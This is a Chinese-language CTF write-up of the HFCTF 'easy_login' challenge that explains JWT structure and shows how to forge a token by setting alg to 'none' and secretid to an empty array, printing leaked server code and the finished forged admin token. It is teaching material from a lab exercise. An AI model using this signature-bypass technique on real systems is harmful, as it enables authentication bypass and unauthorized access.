从hfctf学习JWT伪造(从hfctf学习JWT伪造)

easy_login

简单介绍一下什么是JWT

Json web token (JWT), 是为了在网络应用环境间传递声明而执行的一种基于JSON的开放标准((RFC 7519).该token被设计为紧凑且安全的,特别适用于分布式站点的单点登录(SSO)场景。JWT的声明一般被用来在身份提供者和服务提供者间传递被认证的用户身份信息,以便于从资源服务器获取资源,也可以增加一些额外的其它业务逻辑所必须的声明信息,该token也可直接被用于认证,也可被加密。

实际像这么一段数据

从hfctf学习JWT伪造(从hfctf学习JWT伪造)(1)

这串数据以(.)作为分隔符分为三个部分,依次如下:

l Header

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9 解码为 { "alg": "HS256", "typ": "JWT" } alg属性表示签名的算法(algorithm),默认是 HMAC SHA256(写成 HS256);typ属性表示这个令牌(token)的类型(type),JWT 令牌统一写为JWT

l Payload

从hfctf学习JWT伪造(从hfctf学习JWT伪造)(2)

l Signature

Signature 部分是对前两部分的签名,防止数据篡改。

首先,需要指定一个密钥(secret)。这个密钥只有服务器才知道,不能泄露给用户。然后,使用 Header 里面指定的签名算法(默认是 HMAC SHA256),按照下面的公式产生签名。

HMACSHA256( base64UrlEncode(header) "." base64UrlEncode(payload), secret )

算出签名以后,把 Header、Payload、Signature 三个部分拼成一个字符串,每个部分之间用"点"(.)分隔,就可以返回给用户。

JWT安全问题一般有以下

1. 修改算法为none

2. 修改算法从RS256到HS256

3. 信息泄漏 密钥泄漏

4. 爆破密钥

首先是一个登录框,我们先注册一个账号admin123,admin123

从hfctf学习JWT伪造(从hfctf学习JWT伪造)(3)

看题目意思应该是想办法变成admin来登录

查看前端代码js/app.js

1./** 2. * 或许该用 koa-static 来处理静态文件 3. * 路径该怎么配置?不管了先填个根目录XD 4. */ 5. 6.function login() { 7. const username = $("#username").val(); 8. const password = $("#password").val(); 9. const token = sessionStorage.getItem("token"); 10. $.post("/api/login", {username, password, authorization:token}) 11. .done(function(data) { 12. const {status} = data; 13. if(status) { 14. document.location = "/home"; 15. } 16. }) 17. .fail(function(xhr, textStatus, errorThrown) { 18. alert(xhr.responseJSON.message); 19. }); 20.} 21. 22.function register() { 23. const username = $("#username").val(); 24. const password = $("#password").val(); 25. $.post("/api/register", {username, password}) 26. .done(function(data) { 27. const { token } = data; 28. sessionStorage.setItem('token', token); 29. document.location = "/login"; 30. }) 31. .fail(function(xhr, textStatus, errorThrown) { 32. alert(xhr.responseJSON.message); 33. }); 34.} 35. 36.function logout() { 37. $.get('/api/logout').done(function(data) { 38. const {status} = data; 39. if(status) { 40. document.location = '/login'; 41. } 42. }); 43.} 44. 45.function getflag() { 46. $.get('/api/flag').done(function(data) { 47. const {flag} = data; 48. $("#username").val(flag); 49. }).fail(function(xhr, textStatus, errorThrown) { 50. alert(xhr.responseJSON.message); 51. }); 52.}

根据注释符提示可以发现存在源码泄露问题

接着发现了源码泄漏

访问app.js,controller.js,rest.js即可得到源代码

关键代码controllers/api.js

1.const crypto = require('crypto'); 2. 3.const fs = require('fs') 4. 5.const jwt = require('jsonwebtoken') 6. 7. 8.const APIError = require('../rest').APIError; 9. 10. 11.module.exports = { 12. 13. 'POST /api/register': async (ctx, next) => { 14. 15. const {username, password} = ctx.request.body; 16. 17. 18. if(!username || username === 'admin'){ 19. 20. throw new APIError('register error', 'wrong username'); 21. 22. } 23. 24. 25. if(global.secrets.length > 100000) { 26. 27. global.secrets = []; 28. 29. } 30. 31. 32. const secret = crypto.randomBytes(18).toString('hex'); 33. 34. const secretid = global.secrets.length; 35. 36. global.secrets.push(secret) 37. 38. 39. const token = jwt.sign({secretid, username, password}, secret, {algorithm: 'HS256'}); 40. 41. 42. 43. ctx.rest({ 44. 45. token: token 46. 47. }); 48. 49. 50. await next(); 51. 52. }, 53. 54. 55. 56. 'POST /api/login': async (ctx, next) => { 57. 58. const {username, password} = ctx.request.body; 59. 60. 61. if(!username || !password) { 62. 63. throw new APIError('login error', 'username or password is necessary'); 64. 65. } 66. 67. 68. 69. const token = ctx.header.authorization || ctx.request.body.authorization || ctx.request.query.authorization; 70. 71. 72. const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid; 73. 74. 75. 76. console.log(sid) 77. 78. 79. if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) { 80. 81. throw new APIError('login error', 'no such secret id'); 82. 83. } 84. 85. 86. const secret = global.secrets[sid]; 87. 88. 89. const user = jwt.verify(token, secret, {algorithm: 'HS256'}); 90. 91. 92. const status = username === user.username && password === user.password; 93. 94. 95. if(status) { 96. 97. ctx.session.username = username; 98. 99. } 100. 101. 102. ctx.rest({ 103. 104. status 105. 106. }); 107. 108. 109. await next(); 110. 111. }, 112. 113. 114. 'GET /api/flag': async (ctx, next) => { 115. 116. if(ctx.session.username !== 'admin'){ 117. 118. throw new APIError('permission error', 'permission denied'); 119. 120. } 121. 122. 123. const flag = fs.readFileSync('/flag').toString(); 124. 125. ctx.rest({ 126. 127. flag 128. 129. }); 130. 131. 132. await next(); 133. 134. }, 135. 136. 137. 'GET /api/logout': async (ctx, next) => { 138. 139. ctx.session.username = null; 140. 141. ctx.rest({ 142. 143. status: true 144. 145. }) 146. 147. await next(); 148. 149. } 150. 151.};

尝试注册,可以看到在注册的时候生成了一个token,并存在sessionStorage中

从hfctf学习JWT伪造(从hfctf学习JWT伪造)(4)

得到:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzZWNyZXRpZCI6MSwidXNlcm5hbWUiOiJhZG1pbjEyMyIsInBhc3N3b3JkIjoiYWRtaW4xMjMiLCJpYXQiOjE1ODczNzg4MjB9.o5ePpkaTQcSBxmOV-z6hBsWmvvbkd1a_C6Eu7Dpok4Q

解密得到:

从hfctf学习JWT伪造(从hfctf学习JWT伪造)(5)

token生成过程

1.const secret = crypto.randomBytes(18).toString('hex'); 2.const secretid = global.secrets.length; 3.global.secrets.push(secret) 4.const token = jwt.sign({secretid, username, password}, secret, {algorithm: 'HS256'}

看看各种条件,这里会先对sid进行验证,我们需要绕过这条认证,下面还有一个jwt.verify()的验证并赋值给user

1.const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid; 2.console.log(sid) 3.if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) { 4. throw new APIError('login error', 'no such secret id'); 5.} 6.const secret = global.secrets[sid]; 7.const user = jwt.verify(token, secret, {algorithm: 'HS256'}); 8.const status = username === user.username && password === user.password; 9...... 10..... 11.'GET /api/flag': async (ctx, next) => { 12. if(ctx.session.username !== 'admin'){ 13. throw new APIError('permission error', 'permission denied'); 14. }

这里的密钥是生成了18位,基本没有爆破的可能性,我们使用的方法是将算法(alg)设置为none,接着我们需要让jwt.verify()验证中的secret为空,这里有个tricks

从hfctf学习JWT伪造(从hfctf学习JWT伪造)(6)

再看看能不能过条件

const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid; 运行结果 1. > sid < secrets.length 2. true 3. > sid >= 0 4. true 我们将header修改 1. 原: 2. { 3. "alg": "HS256", 4. "typ": "JWT" 5. } 6. ===> 7. { 8. "alg": "none", 9. "typ": "JWT" 10. } 11. 并加密为 12. eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0 修改payload 1. { 2. "secretid": 1, 3. "username": "admin123", 4. "password": "admin123", 5. "iat": 1587378820 6. } 7. ===> 8. { 9. "secretid": [], 10. "username": "admin", 11. "password": "admin123", 12. "iat": 1587378820 13. } 14. 并加密为 15. eyJzZWNyZXRpZCI6W10sInVzZXJuYW1lIjoiYWRtaW4iLCJwYXNzd29yZCI6ImFkbWluMTIzIiwiaWF0IjoxNTg3Mzc4ODIwfQ

最后使用(.)进行拼接得到伪造的token

eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzZWNyZXRpZCI6W10sInVzZXJuYW1lIjoiYWRtaW4iLCJwYXNzd29yZCI6ImFkbWluMTIzIiwiaWF0IjoxNTg3Mzc4ODIwfQ.

修改sessionStorage

从hfctf学习JWT伪造(从hfctf学习JWT伪造)(7)

接着使用admin,admin123登录访问api/flag,即可得到flag

从hfctf学习JWT伪造(从hfctf学习JWT伪造)(8)

参考:

https://www.ruanyifeng.com/blog/2018/07/json_web_token-tutorial.html

https://jwt.io/

如果想更多系统的学习CTF,可复制链接 进入CTF实验室学习,里面涵盖了6个题目类型系统的学习路径和实操环境。

https://www.hetianlab.com/pages/CTFLaboratory.jsp&pk_campaign=toutiao-wemedia

,

免责声明:本文仅代表文章作者的个人观点,与本站无关。其原创性、真实性以及文中陈述文字和内容未经本站证实,对本文以及其中全部或者部分内容文字的真实性、完整性和原创性本站不作任何保证或承诺,请读者仅作参考,并自行核实相关内容。文章投诉邮箱:anhduc.ph@yahoo.com

    分享
    投诉
    首页